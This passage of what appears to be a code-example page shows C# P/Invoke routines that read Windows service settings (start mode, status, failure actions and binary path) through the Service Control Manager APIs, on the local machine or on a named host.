        IntPtr databaseHandle = OpenSCManager(
            null,
            null,
            NativeConstants.ServiceControlManager.SC_MANAGER_ALL_ACCESS);

        // An error might happen here if we are not running as administrator and the service
        // database is locked.
        if (databaseHandle == IntPtr.Zero)
        {
            throw new ExternalException(
                      "Unable to OpenSCManager. Not enough rights.");
        }

        IntPtr serviceHandle = OpenService(
            databaseHandle,
            serviceName,
            NativeConstants.Service.SERVICE_ALL_ACCESS);

        if (serviceHandle == IntPtr.Zero)
        {
            string errMsg = GetErrorMessage(Marshal.GetLastWin32Error());
            CloseServiceHandle(databaseHandle);
            throw new ExternalException(
                      "Unable to OpenService '" + serviceName + "':" + errMsg);
        }

        // Take basic info. Everything is taken into account except the
        // delayed autostart.
        //
        // The 'ref' keyword tells the compiler that the object is initialized
        // before entering the function, while 'out' tells the compiler that the
        // object will be initialized inside the function.
        // src.: http://stackoverflow.com/a/388467/3514658

        // Determine the buffer size needed (dwBytesNeeded).
        success = QueryServiceConfig(serviceHandle, IntPtr.Zero, 0, out dwBytesNeeded);
        if (!success &&
            Marshal.GetLastWin32Error() !=
            NativeConstants.SystemErrorCode.ERROR_INSUFFICIENT_BUFFER)
        {
            string errMsg = GetErrorMessage(Marshal.GetLastWin32Error());
            CloseServiceHandle(serviceHandle);
            CloseServiceHandle(databaseHandle);
            throw new ExternalException(
                      "Unable to get service config for '" + serviceName + "': " + errMsg);
        }

        // Get the main info of the service. See this struct for more info:
        // src.: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684950(v=vs.85).aspx
        IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);

        success = QueryServiceConfig(
            serviceHandle,
            ptr,
            dwBytesNeeded,
            out dwBytesNeeded);
        if (!success)
        {
            Marshal.FreeHGlobal(ptr);
            string errMsg = GetErrorMessage(Marshal.GetLastWin32Error());
            CloseServiceHandle(serviceHandle);
            CloseServiceHandle(databaseHandle);
            throw new ExternalException(
                      "Unable to get service config for '" + serviceName + "': " + errMsg);
        }
        // Copy memory to serviceConfig.
        QUERY_SERVICE_CONFIG serviceConfig = new QUERY_SERVICE_CONFIG();

        Marshal.PtrToStructure(ptr, serviceConfig);
        Marshal.FreeHGlobal(ptr);

        ServiceProperties props = new ServiceProperties();

        props.ServiceConfig.QUERY_SERVICE_CONFIG = serviceConfig;

        // Get all possible infos
        List <uint> infoLevels = new List <uint>();

        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_DELAYED_AUTO_START_INFO);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_DESCRIPTION);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_FAILURE_ACTIONS);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_FAILURE_ACTIONS_FLAG);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_PREFERRED_NODE);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_PRESHUTDOWN_INFO);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_SERVICE_SID_INFO);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_TRIGGER_INFO);
        infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_LAUNCH_PROTECTED);
        List <string> infoLevelsDesc = new List <string>();

        infoLevelsDesc.Add("SERVICE_CONFIG_DELAYED_AUTO_START_INFO");
        infoLevelsDesc.Add("SERVICE_CONFIG_DESCRIPTION");
        infoLevelsDesc.Add("SERVICE_CONFIG_FAILURE_ACTIONS");
        infoLevelsDesc.Add("SERVICE_CONFIG_FAILURE_ACTIONS_FLAG");
        infoLevelsDesc.Add("SERVICE_CONFIG_PREFERRED_NODE");
        infoLevelsDesc.Add("SERVICE_CONFIG_PRESHUTDOWN_INFO");
        infoLevelsDesc.Add("SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO");
        infoLevelsDesc.Add("SERVICE_CONFIG_SERVICE_SID_INFO");
        infoLevelsDesc.Add("SERVICE_CONFIG_TRIGGER_INFO");
        infoLevelsDesc.Add("SERVICE_CONFIG_LAUNCH_PROTECTED");
        for (int i = 0; i < infoLevels.Count; i++)
        {
            // Determine the buffer size needed (dwBytesNeeded).
            success = QueryServiceConfig2(
                serviceHandle,
                infoLevels[i],
                IntPtr.Zero,
                0,
                out dwBytesNeeded);
            if (!success &&
                Marshal.GetLastWin32Error() !=
                NativeConstants.SystemErrorCode.ERROR_INSUFFICIENT_BUFFER)
            {
                continue;
            }

            // Get the info.
            ptr     = Marshal.AllocHGlobal((int)dwBytesNeeded);
            success = QueryServiceConfig2(
                serviceHandle,
                infoLevels[i],
                ptr,
                dwBytesNeeded,
                out dwBytesNeeded);
            if (!success)
            {
                Marshal.FreeHGlobal(ptr);
                string errMsg = "Unable to get the configuration" +
                                "parameter (QueryServiceConfig2) for '" + infoLevelsDesc[i] +
                                "' for the service '" + serviceName + "': " +
                                GetErrorMessage(Marshal.GetLastWin32Error());
                CloseServiceHandle(serviceHandle);
                CloseServiceHandle(databaseHandle);
                throw new ExternalException(errMsg);
            }

            // While we could use introspection to be able to take on the fly
            // the appropriate class to instanciate, we should avoid this as
            // instrospection is a costly process.
            switch (infoLevels[i])
            {
            case NativeConstants.Service.SERVICE_CONFIG_DELAYED_AUTO_START_INFO:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_DELAYED_AUTO_START_INFO);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_DESCRIPTION:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_DESCRIPTION);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_FAILURE_ACTIONS:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_FAILURE_ACTIONS);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_FAILURE_ACTIONS_FLAG:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_FAILURE_ACTIONS_FLAG);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_PREFERRED_NODE:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_PREFERRED_NODE_INFO);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_PRESHUTDOWN_INFO:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_PRESHUTDOWN_INFO);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_REQUIRED_PRIVILEGES_INFO);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_SERVICE_SID_INFO:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_SID_INFO);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_TRIGGER_INFO:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_TRIGGER_INFO);
                break;

            case NativeConstants.Service.SERVICE_CONFIG_LAUNCH_PROTECTED:
                Marshal.PtrToStructure(
                    ptr,
                    props.ServiceConfig2.SERVICE_LAUNCH_PROTECTED_INFO);
                break;
            }
            Marshal.FreeHGlobal(ptr);
        }

        SERVICE_STATUS serviceStatus = new SERVICE_STATUS();

        success = QueryServiceStatus(serviceHandle, out serviceStatus);
        if (!success)
        {
            string errMsg = "Unable to get service status for '" +
                            serviceName + "': " +
                            GetErrorMessage(Marshal.GetLastWin32Error());
            CloseServiceHandle(serviceHandle);
            CloseServiceHandle(databaseHandle);
            throw new ExternalException(errMsg);
        }
        props.ServiceStatus.SERVICE_STATUS = serviceStatus;

        props.Name        = serviceName;
        props.DisplayName = serviceConfig.lpDisplayName;

        switch (serviceConfig.dwStartType)
        {
        case NativeConstants.Service.SERVICE_AUTO_START:
            if (props.ServiceConfig2.SERVICE_DELAYED_AUTO_START_INFO.fDelayedAutostart)
            {
                props.StartMode = ServiceStartMode.AutomaticDelayed;
            }
            else
            {
                props.StartMode = ServiceStartMode.Automatic;
            }
            break;

        case NativeConstants.Service.SERVICE_BOOT_START:
            props.StartMode = ServiceStartMode.Boot;
            break;

        case NativeConstants.Service.SERVICE_DISABLED:
            props.StartMode = ServiceStartMode.Disabled;
            break;

        case NativeConstants.Service.SERVICE_DEMAND_START:
            props.StartMode = ServiceStartMode.Manual;
            break;

        case NativeConstants.Service.SERVICE_SYSTEM_START:
            props.StartMode = ServiceStartMode.System;
            break;

        default:
            CloseServiceHandle(databaseHandle);
            CloseServiceHandle(serviceHandle);
            throw new ExternalException(
                      "The service '" + serviceName + "' has an invalid start type");
        }

        switch (serviceStatus.dwCurrentState)
        {
        case NativeConstants.Service.SERVICE_CONTINUE_PENDING:
            props.Status = ServiceControllerStatus.ContinuePending;
            break;

        case NativeConstants.Service.SERVICE_PAUSE_PENDING:
            props.Status = ServiceControllerStatus.PausePending;
            break;

        case NativeConstants.Service.SERVICE_PAUSED:
            props.Status = ServiceControllerStatus.Paused;
            break;

        case NativeConstants.Service.SERVICE_RUNNING:
            props.Status = ServiceControllerStatus.Running;
            break;

        case NativeConstants.Service.SERVICE_START_PENDING:
            props.Status = ServiceControllerStatus.StartPending;
            break;

        case NativeConstants.Service.SERVICE_STOP_PENDING:
            props.Status = ServiceControllerStatus.StopPending;
            break;

        case NativeConstants.Service.SERVICE_STOPPED:
            props.Status = ServiceControllerStatus.Stopped;
            break;

        default:
            CloseServiceHandle(databaseHandle);
            CloseServiceHandle(serviceHandle);
            throw new ExternalException(
                      "The service '" + serviceName + "' has an invalid status");
        }

        CloseServiceHandle(databaseHandle);
        CloseServiceHandle(serviceHandle);

        PrintServiceProperties(props);

        return(props);
    }
Example #23
0
        public static ServiceStartMode QueryStartMode(this ServiceController svc)
        {
            var scManagerHandle = OpenSCManager(null, null, SC_MANAGER_ALL_ACCESS);
            fail_if(scManagerHandle == IntPtr.Zero, "Open Service Manager Error");

            var serviceHandle = OpenService(
                scManagerHandle,
                svc.ServiceName,
                SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG);

            fail_if(serviceHandle == IntPtr.Zero, "Open Service Error");

            UInt32 dwBytesNeeded = 0;

            // Allocate memory for struct.
            IntPtr ptr = Marshal.AllocHGlobal(4096);
            fail_if(ptr == IntPtr.Zero, "can't allocate struct");

            bool success = QueryServiceConfig(serviceHandle, ptr, 4096, out dwBytesNeeded);
            fail_if(!success, "failed to query service config for '{0}'", svc.ServiceName);

            QUERY_SERVICE_CONFIG qUERY_SERVICE_CONFIG = new QUERY_SERVICE_CONFIG();
            Marshal.PtrToStructure(ptr, qUERY_SERVICE_CONFIG);
            Marshal.FreeHGlobal(ptr);

            CloseServiceHandle(serviceHandle);
            CloseServiceHandle(scManagerHandle);

            return
                (ServiceStartMode) qUERY_SERVICE_CONFIG.dwStartType;
        }
Example #24
0
        public static void ServiceQuery(string host, string svcname)
        {
            bool   success;
            IntPtr dbHandle;
            IntPtr svcHandle;
            IntPtr ptr;
            UInt32 dwBytesNeeded;
            QUERY_SERVICE_CONFIG    qconf;
            SERVICE_FAILURE_ACTIONS qfail;
            int failStructOffset;
            QUERY_SERVICE_STATUS_PROCESS qproc;


            if (host == "")
            {
                dbHandle = OpenSCManager(null, null, SC_MANAGER_ALL_ACCESS);
            }
            else
            {
                dbHandle = OpenSCManager(host, null, SC_MANAGER_ALL_ACCESS);
            }

            svcHandle = OpenService(dbHandle, svcname, SERVICE_QUERY_CONFIG);
            if (svcHandle == IntPtr.Zero)
            {
                throw new System.Runtime.InteropServices.ExternalException("Couldn't open the service");
            }

            ptr     = Marshal.AllocHGlobal(4096);
            success = QueryServiceConfig(svcHandle, ptr, 4096, out dwBytesNeeded);

            if (success == false)
            {
                throw new System.Runtime.InteropServices.ExternalException("Couldn't query the service");
            }

            qconf = new QUERY_SERVICE_CONFIG(); // copy ptr to query_service_config struct
            Marshal.PtrToStructure(ptr, qconf);

            Marshal.FreeHGlobal(ptr); //reset states
            success       = false;
            dwBytesNeeded = 0;

            success = QueryServiceConfig2(svcHandle, SERVICE_CONFIG_FAILURE_ACTIONS, IntPtr.Zero, 0, out dwBytesNeeded); //the first call of this function will get the number of bytes needed for the struct
            ptr     = Marshal.AllocHGlobal((int)dwBytesNeeded);
            success = QueryServiceConfig2(svcHandle, SERVICE_CONFIG_FAILURE_ACTIONS, ptr, dwBytesNeeded, out dwBytesNeeded);

            qfail = new SERVICE_FAILURE_ACTIONS();
            Marshal.PtrToStructure(ptr, qfail);
            SC_ACTION[] actions = new SC_ACTION[qfail.cActions];
            failStructOffset = 0;

            Marshal.FreeHGlobal(ptr); //reset states
            success       = false;
            dwBytesNeeded = 0;

            success = QueryServiceStatusEx(svcHandle, SC_STATUS_PROCESS_INFO, IntPtr.Zero, 0, out dwBytesNeeded);//again first call gets buffer size required for struct
            ptr     = Marshal.AllocHGlobal((int)dwBytesNeeded);
            success = QueryServiceStatusEx(svcHandle, SC_STATUS_PROCESS_INFO, ptr, dwBytesNeeded, out dwBytesNeeded);

            qproc = new QUERY_SERVICE_STATUS_PROCESS();
            Marshal.PtrToStructure(ptr, qproc);

            Marshal.FreeHGlobal(ptr); //reset states
            success       = false;
            dwBytesNeeded = 0;

            for (int i = 0; i < qfail.cActions; i++)
            {
                SC_ACTION act = new SC_ACTION();
                act.type          = Marshal.ReadInt32(qfail.lpsaActions, failStructOffset);
                failStructOffset += sizeof(Int32);
                act.dwDelay       = (UInt32)Marshal.ReadInt32(qfail.lpsaActions, failStructOffset);
                failStructOffset += sizeof(Int32);
                actions[i]        = act;
            }


            Console.WriteLine("Service Name:\t" + svcname);
            Console.WriteLine("Service Type:\t" + qproc.dwServiceType);
            Console.WriteLine("State:\t" + qproc.dwCurrentState);
            Console.WriteLine("PID:\t" + qproc.dwProcessId);
            Console.WriteLine();
            Console.WriteLine("Start Type:\t" + qconf.dwStartType);
            Console.WriteLine("Error Control:\t" + qconf.dwErrorControl);
            Console.WriteLine("BinPath:\t" + qconf.lpBinaryPathName);
            Console.WriteLine("Display Name:\t" + qconf.lpDisplayName);
            Console.WriteLine("Dependencies:\t" + qconf.lpDependencies);
            Console.WriteLine("Reset Period:\t" + qfail.dwResetPeriod);
            Console.WriteLine("Reboot Message:\t" + qfail.lpRebootMsg);
            Console.WriteLine("Failure Command Line:\t" + qfail.lpCommand);
            Console.WriteLine("Failure Actions:\t");
            for (int i = 0; i < actions.Length; i++)
            {
                Console.Write("{0} -- Delay = {1}", actions[i].type, actions[i].dwDelay);
            }
        }